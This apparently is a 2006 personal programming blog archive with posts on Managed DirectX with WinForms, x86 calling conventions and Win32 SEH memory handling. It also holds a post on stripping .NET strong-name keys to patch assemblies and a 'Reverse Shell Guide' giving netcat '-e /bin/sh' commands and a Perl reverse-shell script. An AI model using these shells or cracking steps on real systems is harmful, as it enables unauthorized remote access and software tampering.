Run 'ildasm' and open a .net assembly, you will see how the file is broken down to variables, methods, resources, etc. You can dump the assembly to a text file containing CLR intermediate language. Once you have the text file, you can start making changes to the IL. Afterwards, run 'ilasm' on the dumped/modified assembly text file and resource files to generate a modified binary, either a DLL file (use '/DLL' flag with ilasm) or a EXE file. Resources can be included with /RESOURCE= flag.

Simply modify IL will generate CLR load file exception. This is due to .net strong name security check. Inside the .net IL text file, usually at the begining, you can see that it has a public key and a hash code used by the strong name security scheme. To bypass strong name check, remove these key related text and recompile. This will do the trick.

Security model of the .net framework and how to defeat it. Part 1 Basics

2006-06-03T14:02:00.000-05:00

In this mini series, I will discuss the microsoft .net framework security model. I recommend the following readings as introduction material to understand .net security model.

.net IL using ildasm and ilasm
Part 1 - Learn to break a .NET Assembly:
http://www.codeproject.com/dotnet/NeCoder01.asp

Part 2 - Learn to protect your .NET assemblies from being tampered:
http://www.codeproject.com/dotnet/NeCoder02.asp

Part 3 - Learn to break Strong Name .NET Assemblies:
http://www.codeproject.com/dotnet/NeCoder03.asp

Understanding, programming and debugging IL .net application:
Part 1 Introduction
http://www.devcity.net/net/article.aspx?alias=msil_1_intro

Part 2 A short description and .NET application
http://www.devcity.net/net/article.aspx?alias=msil_2_dotnet

Part 3 Debugging
http://www.devcity.net/Articles/57/msil_3_debug.aspx

Tools (It can be said, a hacker is as good as his tools)
New tool:
.NET decompiler
http://www.aisto.com/Roeder/DotNet
ildasm and ilasm (decompiler and compiler of intermediate language)

Old friends:
LORD PE (examine and modify PE header)
WINHEX (examine and modify binary file in hex mode)
REGEDIT (studying protection scheme used by certain softwares)

Now, there are 2 ways to actually patch a .net binary file, the first way is to directly patch the binary file with a hex editor; the second way is to decompile/modify/compile .net intermediate language (IL). Both approaches works equally well and the details of both methods are discussed in the URL links I provided.

http://groups.google.co.uk/group/microsoft.public.dotnet.security/browse_frm/thread/268e8fab2a7124df/bf09582265c8f154?hl=en&lr=&rnum=2&prev=/groups%3Fq%3DRahul%2BKumar%2Bgroup:*security*%26hl%3Den%26lr%3D%26selm%3D%2523UDXSOX0EHA.3820%2540TK2MSFTNGP11.phx.gbl%26rnum%3D2#bf09582265c8f154
Discusses the method used in this article

http://msdn.microsoft.com/msdnmag/issues/02/03/PE2/default.aspx
Has a section of .NET header in figure 10.

http://www.atrevido.net/blog/CommentView.aspx?guid=f772c18a-f389-4c28-bd6a-a30f4ccc84f5
Details on how to crack .net protection.

http://woodmann.net
For the old schools.

2006-05-26T20:50:00.000-05:00

Introduction

This article shows how to use .net windows form controls with managed directx content. Most books/tutorials use a winform strictly with MDX content. But people are more interested in using winform controls together with MDX. This question is frequently asked and not well answered. Here I present a small code project using .net 2.0 and visual studio 2005.

Technique

The most important part of this project the directx device creation. Normally it's

device = new Device(0, DeviceType.Hardware, this, CreateFlags.SoftwareVertexProcessing, presentParams);           
'this' is the alias of 'Form' used to represent this winForm.

In order to make .net controls such as menu bar etc to co-exist with directx control, I set up a panel to be used by directx.

private System.Windows.Forms.Panel panel1;
// Initialize panel1
device = new Device(0, DeviceType.Hardware, panel1, CreateFlags.SoftwareVertexProcessing, presentParams);

To demonstrate that this works, I have provided a simple managed directx project with this project that can be downloaded. The complete source code:


using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using Microsoft.DirectX;
using Microsoft.DirectX.Direct3D;

namespace Chapter1Code
{
    /// 
    /// Summary description for Form1.
    /// 

    public class Form1 : System.Windows.Forms.Form
    {
        private Device device = null;
        /// 
        /// Required designer variable.
        /// 

        private System.ComponentModel.Container components = null;
        private Panel panel1;
        private MenuStrip menuStrip1;
        private ToolStripMenuItem mDXFormWithMenuToolStripMenuItem;
        private ToolStripMenuItem exitToolStripMenuItem;
        private float angle = 0.0f;

        public Form1()
        {
            //
            // Required for Windows Form Designer support
            //
            InitializeComponent();

            this.Size = new Size(800, 600);
            this.SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.Opaque, true);
        }

        /// 
        /// We will initialize our graphics device here
        /// 

        public void InitializeGraphics()
        {
            // Set our presentation parameters
            PresentParameters presentParams = new PresentParameters();

            presentParams.Windowed = true;
            presentParams.SwapEffect = SwapEffect.Discard;

            // Create our device
            device = new Device(0, DeviceType.Hardware, panel1, CreateFlags.SoftwareVertexProcessing, presentParams);           
        }

        private void SetupCamera()
        {           
            device.RenderState.CullMode = Cull.None;
            device.Transform.World = Matrix.RotationAxis(new Vector3(angle / ((float)Math.PI * 2.0f), angle / ((float)Math.PI * 4.0f), angle / ((float)Math.PI * 6.0f)),  angle / (float)Math.PI);
            angle += 0.1f;

            device.Transform.Projection = Matrix.PerspectiveFovLH((float)Math.PI / 4, this.Width / this.Height, 1.0f, 100.0f);
            device.Transform.View = Matrix.LookAtLH(new Vector3(0,0, 5.0f), new Vector3(), new Vector3(0,1,0));
            device.RenderState.Lighting = true;
        }

        protected override void OnPaint(System.Windows.Forms.PaintEventArgs e)
        {           
            device.Clear(ClearFlags.Target, System.Drawing.Color.CornflowerBlue, 1.0f, 0);

            SetupCamera();

            CustomVertex.PositionNormalColored[] verts = new CustomVertex.PositionNormalColored[3];
            verts[0].Position = new Vector3(0.0f, 1.0f, 1.0f);
            verts[0].Normal = new Vector3(0.0f, 0.0f, -1.0f);
            verts[0].Color = System.Drawing.Color.White.ToArgb();
            verts[1].Position = new Vector3(-1.0f, -1.0f, 1.0f);
            verts[1].Normal = new Vector3(0.0f, 0.0f, -1.0f);
            verts[1].Color = System.Drawing.Color.White.ToArgb();
            verts[2].Position = new Vector3(1.0f, -1.0f, 1.0f);
            verts[2].Normal = new Vector3(0.0f, 0.0f, -1.0f);
            verts[2].Color = System.Drawing.Color.White.ToArgb();

            device.Lights[0].Type = LightType.Point;
            device.Lights[0].Position = new Vector3();
            device.Lights[0].Diffuse = System.Drawing.Color.White;
            device.Lights[0].Attenuation0 = 0.2f;
            device.Lights[0].Range = 10000.0f;
           
            device.Lights[0].Enabled = true;

            device.BeginScene();
            device.VertexFormat = CustomVertex.PositionNormalColored.Format;
            device.DrawUserPrimitives(PrimitiveType.TriangleList, 1, verts);
            device.EndScene();

            device.Present();

            this.Invalidate();
        }

        /// 
        /// Clean up any resources being used.
        /// 

        protected override void Dispose( bool disposing )
        {
            if( disposing )
            {
                if (components != null)
                {
                    components.Dispose();
                }
            }
            base.Dispose( disposing );
        }

        #region Windows Form Designer generated code
        /// 
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// 

        private void InitializeComponent()
        {
            this.panel1 = new System.Windows.Forms.Panel();
            this.menuStrip1 = new System.Windows.Forms.MenuStrip();
            this.mDXFormWithMenuToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
            this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
            this.menuStrip1.SuspendLayout();
            this.SuspendLayout();
            //
            // panel1
            //
            this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
            this.panel1.Location = new System.Drawing.Point(0, 24);
            this.panel1.Name = "panel1";
            this.panel1.Size = new System.Drawing.Size(307, 275);
            this.panel1.TabIndex = 0;
            //
            // menuStrip1
            //
            this.menuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
            this.mDXFormWithMenuToolStripMenuItem});
            this.menuStrip1.Location = new System.Drawing.Point(0, 0);
            this.menuStrip1.Name = "menuStrip1";
            this.menuStrip1.Size = new System.Drawing.Size(307, 24);
            this.menuStrip1.TabIndex = 1;
            this.menuStrip1.Text = "menuStrip1";
            //
            // mDXFormWithMenuToolStripMenuItem
            //
            this.mDXFormWithMenuToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
            this.exitToolStripMenuItem});
            this.mDXFormWithMenuToolStripMenuItem.Name = "mDXFormWithMenuToolStripMenuItem";
            this.mDXFormWithMenuToolStripMenuItem.Size = new System.Drawing.Size(117, 20);
            this.mDXFormWithMenuToolStripMenuItem.Text = "MDX form with Menu";
            //
            // exitToolStripMenuItem
            //
            this.exitToolStripMenuItem.Name = "exitToolStripMenuItem";
            this.exitToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
            this.exitToolStripMenuItem.Text = "Exit";
            this.exitToolStripMenuItem.Click += new System.EventHandler(this.exitToolStripMenuItem_Click);
            //
            // Form1
            //
            this.ClientSize = new System.Drawing.Size(307, 299);
            this.Controls.Add(this.panel1);
            this.Controls.Add(this.menuStrip1);
            this.Name = "Form1";
            this.Text = "Form1";
            this.menuStrip1.ResumeLayout(false);
            this.menuStrip1.PerformLayout();
            this.ResumeLayout(false);
            this.PerformLayout();

        }
        #endregion

        /// 
        /// The main entry point for the application.
        /// 

        static void Main()
        {
            using (Form1 frm = new Form1())
            {
                // Show our form and initialize our graphics engine
                frm.Show();
                frm.InitializeGraphics();
                Application.Run(frm);
            }
        }

        private void exitToolStripMenuItem_Click(object sender, EventArgs e)
        {
            this.Dispose();
        }
    }
}

Reverse Shell Guide

2006-05-16T16:47:00.000-05:00

In this little guide I'll quickly cover three very helpful methods to get a reverse shell on a host, using ssh, netcat or Perl. One may ask, why should I need a reverse shell? Let me elaborate on that.

People often have a computer in a personal LAN and use a router to get on the internet. These routers usually are NAT (Network Address Translation) routers, what means, that to the internet the network seems to be just one computer, not a whole network.

From the outside, there is almost no chance to find out how many computers are on the internal network (unless you are used to using hping2). And, even if you know a computer's IP on that network, you still couldn't access it.

The situation looks like follows:

192.168.1.2             \ +--------+
192.168.1.3   \|  NAT   |
         \___ | Router | <---- REQUEST
              |192.168.|
           ___|  1.1   |
192.168.1.4/   +--------+

When a request reaches the router, it doesn't know what to do and silently drops the packet. Connections made from inside of the network go through the router, but the remote host cannot initiate a connection to one of the hosts in the network (unless the router features a port forwarding feature, and that's often hard to configure properly).

But in this situation one could access one of the hosts inside the network using a reverse shell.

Note: From now on I'll refer to the computer you want to run the shell on the remote host and the computer you want to send the commands from your host

Reverse Shell Using SSH

As said above, all connections must be made from inside of the network. That means, if someone wants to connect to one of the hosts inside of the network, the remote host has to establish the connection.

That is done with the following command (executed on the remote host):

ssh -NR 3333:localhost:22 user@yourhost

The R switch tells SSH to open a reverse shell. The N switch tells SSH not to request a shell on the host it's connecting to but to just initiate the connection. 3333 is the port number the SSH connection will be tunneled through on the remote host. This can also be something like 1337, but be sure to choose a number greater than 1024 unless you are root (that's because the previleged ports up to 1024 can exclusively be used by root).

If you are prompted for a password, supply your host's password.

Now there is a connection from the remote host, let's say 192.168.1.2, to your host. On your host SSH opens port 3333 as a gateway to the client 192.168.1.2. You can now issue the following command on your host:

ssh user@localhost -p 3333,
where user is the username to be used on 192.168.1.2.

Voilà, you have a working SSH connection to a computer inside of a NAT network!

Reverse Shell with Netcat

Even on a host that hasn't got an SSH daemon, there is still a way to connect to it.

There is a simple tool called netcat. In the manpage to it is referred as "TCP/IP swiss army knife". With netcat you can send out simple TCP/IP requests and receive the responses.

In addition to that, netcat can also listen on a specific port. It can even execute a program as soon as a client connects. That makes it perfect for opening up a reverse shell:

On your host, you have to listen for an incoming connection (thanks to -v, you'll get a quick note as soon as the shell connects):

netcat -v -l -p 3333

On the remote host, the following command has to be executed in order to establish a connection to your host:

netcat -e /bin/sh yourhost 3333

What these commands do is the following: You first set your netcat to listen for incoming connections and leave it waiting. Then you issue the command on the remote host, which will then connect to your host and—as soon as the connection has been established—will execute a shell.

Again, you have got a reverse shell, though that one is very minimal. You haven't even got a prompt. But still, you can execute commands.

Note: On some systems the program netcat may be called nc instead.

Netcat as a Replacement for SSH (though unencrypted)

If the remote host has no sshd installed (and maybe your host is behind a NAT router), netcat can also be used as a replacement for SSH.

On the remote host, execute a listening netcat that'll start a shell as soon as a client connects:
netcat -v -l -p 3333 -e /bin/sh

On your host, execute the connecting netcat:
netcat remotehost 3333

Reverse Shell with Perl

If there is no netcat installed on the remote machine, you can also try out this very minimal reverse shell written in Perl. It executes every command it receives directly. Because it doesn't run an interactive shell, there is no point in cd'ing to some directory. But you can still do things like echo foo >/tmp/foo.


#!/usr/bin/perl
use Socket;
$addr=sockaddr_in('3333',inet_aton('localhost'));
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
connect(S,$addr);select S;$|=1;
while(defined($l=<s>)){print qx($l);}
close(S);

This little piece of code tries to open a connection to localhost on port 3333. You'll want to change this to your machine, of course. So before you start the reverse shell, listen on port 3333 on your machine using netcat:

netcat -v -l -p 3333

~~Once you see that the reverse shell has connected you can start executing commands...~~

Noteworthy i386 listing of frequently used subroutines and Typical function call protocol

2006-05-16T14:20:00.000-05:00

Originally composed on June 13, 2004, editted formatting.


1. String length calculation and key comparison
mov ecx, -1  ; mov ecx, xx (xx=max possible length)
mov al, 0  ;xor eax, eax;sub eax, eax;mov eax, 0
mov edi, string_offset ; lea edi, [ebp+XX]
  ; ES:EDI -> string
repnz scasb     ; repnz scasw
neg ecx         ; xor eax, eax
    sub eax, ecx
mov edi, real string   ; lea edi, [ebp+XX]
mov esi, user string
repnz cmpsb     ; repeat till ecx = 0 or [edi]!=[esi]
test ecx, ecx
jnz  bad
xor eax, eax    ; using eax=0 as good, could also use eax=1 as bad
jmp  good
bad:
mov eax, 1
ret
good
do_good_stuff   ; update registry, update ini file, update memory
ret

2. A==0? 1:0 translated to assembly
mov eax, A
neg eax  ; eax = 0 - eax, unsigned, but sets CF if eax > 0
sbb eax, eax    ; eax = eax - eax - CF
inc eax
ret
if A == 0,
 neg eax  => eax = 0, CF = 0
 sbb eax, eax  => eax = 0
 inc eax  => eax = 1
else
 neg eax  => eax = (UnSigned)-A, CF = 1
 sbb eax, eax => eax = -1
 inc eax  => eax = 0
endif

An alternative form A == 0? 0:1
mov eax, A
cmp eax, 1      ; set CF if eax = 0, CF = 0 if A != 0
sbb eax, eax ; eax = -1 if A = 0, eax = 0 if A != 0
inc eax  ; eax = 0 if A = 0, eax = 1 if A != 0
ret

A little bit mind boggling, isn't it? :-)
These are common code signatures you will find in assembly language
generated from high level language (typically C/C++) from a compiler.
A final note, the counterpart of sbb is adc (add with carry). As an

excersise, build A == 0? 1:0 using abc instead of sbb.

3. The __cdecl,  __stdcall, __fastcall, thiscall signatures and
__declspec(naked)
(Reference: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclang/html/_core___stdcall.asp)

Normally a subroutine written in C/C++ is translated with the following
signatures, take
int sub_a(arg1, arg2, arg3)
call sub_a(arg1, arg2, arg3)

there is 4 ways to declare its prototype that will affect generated
assembly code.

3.1)
__cdecl:
This is the default calling convention for C and C++ programs.
Because the stack is cleaned up by the caller, it can do vararg functions.
The __cdecl calling convention creates larger executables than __stdcall,
because it requires each function call to include stack cleanup code.
The following list shows the implementation of this calling convention.

Element Implementation
Argument-passing order Right to left
Stack-maintenance responsibility Calling function pops the arguments from
the stack Name-decoration convention Underscore character (_) is prefixed to
names Case-translation convention No case translation performed

So what does all this babblying mean when it's in action?
Callee:
int __cdecl sub_a(arg1, arg2, arg3)
 push ebp
 mov  ebp, esp
 sub  esp, 4 x number_of_local_automatic_variables <-- normally the case    
; pointers could complicate it, and structure alignment requirement  
; could also make the space required on stack seem strange.  
; nevertheless, automatica variables are stored on stack.  
; name it NOLAV: # of local automatic variables  
arg1 = [ebp+8] ; Here we assume it's a near call (*flat memory model)  
arg2 = [ebp+C] ; within the caller's own code segment linear space  
arg3 = [ebp+10] ; normally true but not for some trickery code   ...  
add esp, 4 x NOLAV 
; ebp+10 <- arg3   || stack high   pop ebp  
; ebp+0C <- arg2   ||   ret   
; ebp+8  <- arg1   ||    
; ebp+4  <- eip of the return address ||    
; ebp    <- previous ebp  ||            
        <= esp = ebp pointer  \/ stack low

Caller: call sub_a(arg1, arg2, arg3)  
push arg3 ; see below  
push arg2  
push arg1  
call sub_a  
add esp, 0C  

now it's of course simplified because arg3 cannot be directly referrenced in
assembly language. Very often it's something like this:  
mov eax, [ebp+XX]     ; passed on argument to this subroutine  
push eax
or  
mov eax, [ebp-XX]     ; a LAV: local automatic variable 
push eax   
push XX  ; a direct constant  
mov eax, [XXXXXXXX]       ; a global variable  
push eax 

I hope this clears up a lot of confusions around the myth around a subroutine
call in assembly language. Now we briefly describe __stdcall, __fastcall,
and thiscall 

3.2) __stdcall: The __stdcall calling convention is used to call Win32 API
functions. The callee cleans the stack, so the compiler makes vararg functions
__cdecl. Functions that use this calling convention require a function prototype. 
return-type __stdcall function-name[(argument-list)] The following list shows the
implementation of this calling convention.  Element Implementation  Argument-passing
order Right to left.  Argument-passing convention By value, unless a pointer or
reference type is passed.  Stack-maintenance responsibility Called function pops
its own arguments from the stack.  Name-decoration convention An underscore (_)
is prefixed to the name. The name is followed by the at sign (@) followed by the
number of bytes (in decimal) in the argument list. Therefore, the function declared
as int func( int a, double b ) is decorated as follows: _func@12  Case-translation
convention None  

Callee:
int __stdcall sub_a(arg1, arg2, arg3)  
push ebp  
mov  ebp, esp  
sub  esp, 4 x number_of_local_automatic_variables <-- normally the case    
; pointers could complicate it, and structure alignment requirement  
; could also make the space required on stack seem strange.  
; nevertheless, automatica variables are stored on stack.  
; name it NOLAV: # of local automatic variables  
arg1 = [ebp+8] ; Here we assume it's a near call (*flat memory model)  
arg2 = [ebp+C] ; within the caller's own code segment linear space  
arg3 = [ebp+10] ; normally true but not for some trickery code   ...  
add esp, 4 x NOLAV ; ebp+10 <- arg3  || stack high  
pop ebp  ; ebp+0C <- arg2   ||  
ret 0C  ; ebp+8  <- arg1   ||    
  ; ebp+4  <- eip of the return address ||    
  ; ebp    <- previous ebp  ||            
   <= esp = ebp pointer  \/ stack low  

The difference here is 'ret 0C' instead of 'ret' because in __stdcall the callee
is responsible to clean up the stack. 

Caller: call sub_a(arg1, arg2, arg3)  
push arg3 ; see below  
push arg2  
push arg1  
call sub_a    

Here after call sub_a, the caller code needs not to worry about  stack clean up.
There are 2 important points I want to bring up about __stdcall. First, WINAPI
is __stdcall so they use this convention. This is the most frequently encountered
form on a windows platform. Second, __stdcall will mangle the subroutine name
which will cause trouble if you try to link against __stdcall subroutine.
Unless you are working in a consistent setting, try to avoid __stdcall
declaration.  3.3) __fastcall The __fastcall calling convention specifies that
arguments to functions are to be passed in registers, when possible. The following
list shows the implementation of this calling convention.  Element Implementation 
Argument-passing order The first two DWORD or smaller arguments are passed in ECX
and EDX registers; all other arguments are passed right to left.  Stack-maintenance
responsibility Called function pops the arguments from the stack.  Name-decoration
convention At sign (@) is prefixed to names; an at sign followed by the number of
bytes (in decimal) in the parameter list is suffixed to names.  Case-translation
convention No case translation performed.   Callee: int __stdcall sub_a(arg1, arg2,
arg3)  

push ebp  
mov  ebp, esp  
sub  esp, 4 x  NOLAV   arg1 = ecx  ; Here we assume it's a near call (*flat memory model)  
arg2 = edx  ; within the caller's own code segment linear space  
arg3 = [ebp+8] ; normally true but not for some trickery code   ...  
add esp, 4 x NOLAV   
pop ebp    
ret 04  ; ebp+8  <- arg1   ||    
  ; ebp+4  <- eip of the return address ||    
  ; ebp    <- previous ebp  ||            
   <= esp = ebp pointer  \/ stack low  

The difference here is 'ret 04' instead of 'ret' in __cdecl or 'ret 0C' in __stdcall
because in __fastcall passes 2 arguments using registers and the callee is
responsible to clean up the rest of the stack. 

Caller:

call sub_a(arg1, arg2, arg3)  
push arg3 ; see below  
mov edx, arg2  
mov ecx, arg1  
call sub_a    

__fastcall is similar to __stdcall except when callee has less than 3 arguments,
no stack reference is needed for arguments so execution speed is improved. Like
__stdcall, subroutine names are also mangled in library.  3.4) thiscall The
__fastcall calling convention specifies that arguments to functions are to be
passed in registers, when possible. The following list shows the implementation of
this calling convention.  Element Implementation  Argument-passing order The first
two DWORD or smaller arguments are passed in ECX and EDX registers; all other
arguments are passed right to left.  Stack-maintenance responsibility Called
function pops the arguments from the stack.  Name-decoration convention At
sign (@) is prefixed to names; an at sign followed by the number of bytes
(in decimal) in the parameter list is suffixed to names.  Case-translation
convention No case translation performed.  

Callee: int __stdcall sub_a(arg1, arg2, arg3)  
push ebp  
mov  ebp, esp  
sub  esp, 4 x  NOLAV  
arg1 = [ebp+10] ; Here we assume it's a near call (*flat memory model)  
arg2 = [ebp+0C] ; within the caller's own code segment linear space  
arg3 = [ebp+8] ; normally true but not for some trickery code   this_pointer = ecx   ...  
add esp, 4 x NOLAV   
pop ebp    
ret 0C  ; ebp+8  <- arg1   ||    
  ; ebp+4  <- eip of the return address ||    
  ; ebp    <- previous ebp  ||            
   <= esp = ebp pointer  \/ stack low  

Pretty much like __stdcall except that the caller secretly puts the "this" pointer
into ecx before it calls sub_a. 

Caller: call sub_a(arg1, arg2, arg3)  
push arg3 ; see below  
push arg2  
push arg1  
mov ecx, this_pointer  
call sub_a    

Pretty much like __stdcall except that the caller secretly puts the "this" pointer
into ecx before it calls sub_a. 

3.5) __cdeclspec(naked) 
Callee: __cdeclspec(naked) int sub_a(arg1, arg2, arg3){  
__asm{    
       do what ever but don't blow it up!  
    }
}
Unlike any of the above declaration decorations, this one is special that it
will not setup the base stack frame pointer (ebp) for the callee. The callee
sub_a will normally be written in assembly code and it's entirely upon sub_a to
not blow up anything! The complier trusts that sub_a knows what it is doing.  On
the caller side, nothing special needs to be done. Although it's not unusual a
chain of naked subroutines are constructed to achieve some specific goal. 

3.6) The default VC behavior when working with .C source code is __cdecl  but
without the _ prefix. When working with .CPP source code, the function name is
automatically mangled unless prefixed with extern "C".  

__declspec(dllexport) int a(int x, int y, int z){  
 int b = x+10;  
 return b+y+z;
}

.text:10001000                
public a .text:10001000 a              
proc near .text:10001000 
.text:10001000 var_4           = dword ptr -4
.text:10001000 arg_0           = dword ptr  8
.text:10001000 arg_4           = dword ptr  0Ch
.text:10001000 arg_8           = dword ptr  10h
.text:10001000 
.text:10001000                 push    ebp
.text:10001001                 mov     ebp, esp
.text:10001003                 push    ecx
.text:10001004                 mov     eax, [ebp+arg_0]
.text:10001007                 add     eax, 0Ah
.text:1000100A                 mov     [ebp+var_4], eax
.text:1000100D                 mov     eax, [ebp+var_4]
.text:10001010                 add     eax, [ebp+arg_4]
.text:10001013                 add     eax, [ebp+arg_8]
.text:10001016                 mov     esp, ebp
.text:10001018                 pop     ebp
.text:10001019                 retn
.text:10001019 a               endp 

Table of name generation
.C __declspec(dllexport) int a    -> a
.C __declspec(dllexport) int __cdecl a   -> a
.C __declspec(dllexport) int __stdcall a  -> _a@12
.CPP __declspec(dllexport) int a  -> ?a@@YAHHH@Z
.CPP extern "C" __declspec(dllexport) int a -> a
.CPP extern "C" __declspec(dllexport) int __stdcall a -> _a@12

So be careful when you name your files. .C and .CPP produce
drastically different function tables and be sure to know what
you want and name your source code files accordingly.

WIN32 SEH and Memory Management considered harmful (Part 3)

2006-05-16T14:08:00.000-05:00

Originally composed on June 3rd, 2004, editted formatting.

Think about this problem again, is there a way to break this dillema between memory allocation constraint and fault handling mechanism. If we could somehow manipulate the register value at the fault address machine instruction, we could change its value to an updated memory address allocated inside of the fault handler

To acheive this, we will have to sacrifice the code portability by directly embedding assembly code into the C source code. Remember the code was like this:


code = (PPATCHCODE)VirtualAlloc(NULL, NR*sizeof(PATCHCODE), 
  MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);  
while(_ftscanf(inp, "%X%X%X", &addr, &o_val, &n_val) !=  EOF){
  code[record].addr = addr;
  code[record].orig_val = o_val; 
  code[record].new_val = n_val;
  record++;
}

We will use EAX to contain the address that we will write the data into. The design is to then update EAX in the CONTEXT record delivered in the EXCEPTION_RECORD to the fault handler. After the fault handler returns, the CONTEXT record will have a new EAX value. The operating system switches to this new CONTEXT (the context of the process where the EXCEPTION occured) and blindly accepts the new EAX value. Since the new EAX value now contains a valid memory address, the write operation will proceed. Without doing this, we have no way to control what might come out of the simple "code[record].addr = addr;" from the compiler. The new code snippet looks like this:


code = (PPATCHCODE)VirtualAlloc(NULL, NR*sizeof(PATCHCODE), 
  MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
while(_ftscanf(inp, "%X%X%X", &addr, &_val, &n_val) !=  EOF){
 paddr = code+record;
 __asm{
        mov eax, paddr;
        mov ebx, addr;
        mov [eax], ebx; <------- Fault occurs here.                  mov ecx, dwsize;   
               mov ebx, o_val;   
               mov [eax+ecx], ebx; 
               // The compiler cannot genereate correct code for
               // mov [eax+dwsize], ebx      
               // it's translated to mov [eax+ebp-20], ebx
               // we wanted mov [eax+[ebp-20]], ebx
               // so just use hardcoded # here, mov [eax+4], ebx
                // or use ecx to contain the number
               mov ebx, n_val;
               mov [eax+ecx*2], ebx  
               }
       record++;
  }

We first calculate the memory address of the patchcode record structure (which is padded and aligned on a 16-byte cache line on ia32 platform) by adding the starting address of the patchcode array and the current record number. We then assign this address to EAX, this is the address where the next write operation will access. The patchcode address value is assigned to EBX and then moved to the memory address pointed to by EAX. If we ever access the memory beyond we initially allocated, we will have a memory access violation at this instruction "mov [eax], ebx". After the exception occured, the execution is transfered to the user fault handler through a series of complicated operations, trap gate, kernel fault handler, compiler stud fault handler, and finally user fault handler. We do exactly what is explained in the fault handler, we update the EAX value in the user process CONTEXT record:


tmp_code = (PPATCHCODE)VirtualAlloc(NULL, 2*NR*sizeof(PATCHCODE),
 MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
_tcsncpy((_TCHAR *)tmp_code, (_TCHAR *)code, NR*sizeof(PATCHCODE));
VirtualFree(code, 0, MEM_RELEASE);
lpEP->ContextRecord->Eax = (ULONG)(tmp_code+NR);
NR=2*NR;
code = tmp_code;
nFilterResult = EXCEPTION_CONTINUE_EXECUTION;

First we allocate twice large a memory space of the previous size, then copy the content from the previous patchcode array to the new memory space. After we free the previous memory allocated, we update the EAX value in the user process CONTEXT. After some other updates, we return EXCEPTION_CONTINUE_EXECUTION to tell the kernel that this should be the last unwind fault handler and the EXCEPTION has been handled, the execution should now be continued at the exact address where the fault occured. Since now the EAX has the updated memory address, this code surely works.

Although this code works, it's not without sacrifice of code portability and wasted memory allocation and data transfer inside of the memory space. The use of embedded assembly code and CONTEXT structure member prohibits this code to work on other platform other than 32bit intel architecture. The fault handler has to allocates new memory, transfer data from previous memory to new memory, and then free previous memory. It's a waste of memory space and CPU time.

WIN32 SEH and Memory Management considered harmful (Part 2)

2006-05-16T13:57:00.000-05:00

Originally composed on May 27, 2004, editted formatting.

We could pretty much exclude direct win32 Virtual Memory management out of the picture now and try to rely on another win32 memory type Heap to make this program work. Now our code looks like this:

except_handler(...){

HeapReAlloc(hhwnd, HEAP_REALLOC_IN_PLACE_ONLY, cur_mem, 2*cur_size);

return EXECUTION_CONTINUE;

if anything is wrong, return EXECUTION_SEARCH;
}

patcher(...){

hhwnd = HeapCreate(0,0,0)
cur_mem = HeapAlloc(hhwnd, initial_size);

__try{
read_data(FILE, tmp_data);
cur_mem[counter]->data = tmp_data;
counter++;
}
__except(except_handler(...)){
do_something;
}
}

Remember that this is just pseudocode skeleton, you must do proper error checking and handling if you are writing real code. It looks nice that we are granted with a HeapReAlloc function to dynamically adjust the allocated block size. However there are two gotchas here.

First, the realloc function is unlikely to conserve the memory content of the previously allocated memory space. Second, this code is simply flatout not working. What's wrong? We have avoided the C-ASM incoherence by reallocating at fixed memory address with the so called HEAP_REALLOC_IN_PLACE_ONLY flag. We also ensure the memory space is large enough. If you debug this code though, you will discover HeapReAlloc will forever return NULL. And you will also notice the exception address is way behond cur_mem+size

|-----------| <- cur_mem | | | | <- cur_mem->size
|-----------|
| |
| |
| |
| | <- Exception happening here | |

The reason of all these is that heap is designed to be a heavy duty memory block and heap manager DOES NOT take care of out of bound memory access. A more detailed Heap structure looks like this:

+-----------+ <- Heap Real Start address
| |
| | <- Heap control structure
|-----------| <- some heap control block (the infamous first_free arena)
| | <- some random block if cur_mem wasn't allocated first
| |
|-----------| <- cur_mem
|header info|
| | <- cur_mem->size
|-----------|
|header info|
| |

Because heap manager does not care about writing beyond block boundary, our code is actually writing way over it's initially allocated memory space and corrupted header info of contigent memory block, thus preventing HeapReAlloc from expanding its size. A simple heap allocation code will reveal that blocks allocated one after another do not have their addresses form a continuous space. Thus when our code triggers the exception, it has already overwritten through its boundary and corrupted the heap. Clearly SEH and Heap memory are mutually exclusive in win32 programming.

Conclusions:

As good an idea as SEH may sound like, in Win32 enviroment, we have demonstrated that SEH will not cooperate Heap memory manage and direct Virtual Memory allocation makes SEH redudent and actually not working. The fact that a single C line of code cannot be guranteed to execute atomically makes SEH debugging very difficult. Same code, may produce different result depending on how it's compiled. The requirement of a fixed base address when working with virtual memory and SEH makes the effort of using SEH seem vain. In conclusion, SEH should be avoided when memory management is invovled, although ironically one of the major reasons for SEH is to handle invalid memory access. Also due to volitile nature of SEH and C interaction, extreme caution should be taken to ensure reproducibile and predicatble program execution.

WIN32 SEH and Memory Management considered harmful (Part 1)

2006-05-16T13:47:00.000-05:00

Originally composed on May 27, 2004, editted formatting.

It so happens that I need to write a small utility program to do some win32 EXE file patching business, actually in this case 2 files--one to generate a patch between two slightly different binary files and one to aplly the patch to a fresh binary file. The first program, MakePatch is relatively easy to cook up. However, the 2nd program Patcher requires some special coding technique to be perfect (as we'll see very soon, the win32 system has made it rather impossible).

The Patcher program first open the patch code text file, which looks like this:

offset origin_byte new_byte
...

each line of the patch code consists of an offset in the binary file to patch, the original byte code to be patched with the new byte code. Since we have no fore-knowledge how many patch lines we have in the patch code file, the program should dynamically adjust the size of the memory that hold these patch codes as they are read into the memory.

At a first glance, what could better suit this task with win32's shiny virtual memory management and structured exception handling (SEH) code. The design is simple,

except_handler(...){

new_mem=VirtualAlloc(2*cur_size);
copy_mem(cur_mem, new_mem, cur_size);

VirtualFree(cur_mem);
cur_mem = new_mem;

return EXECUTION_CONTINUE;

if anything is wrong, return EXECUTION_SEARCH;
}

patcher(...){

cur_mem = VirtualAlloc(initial_size);

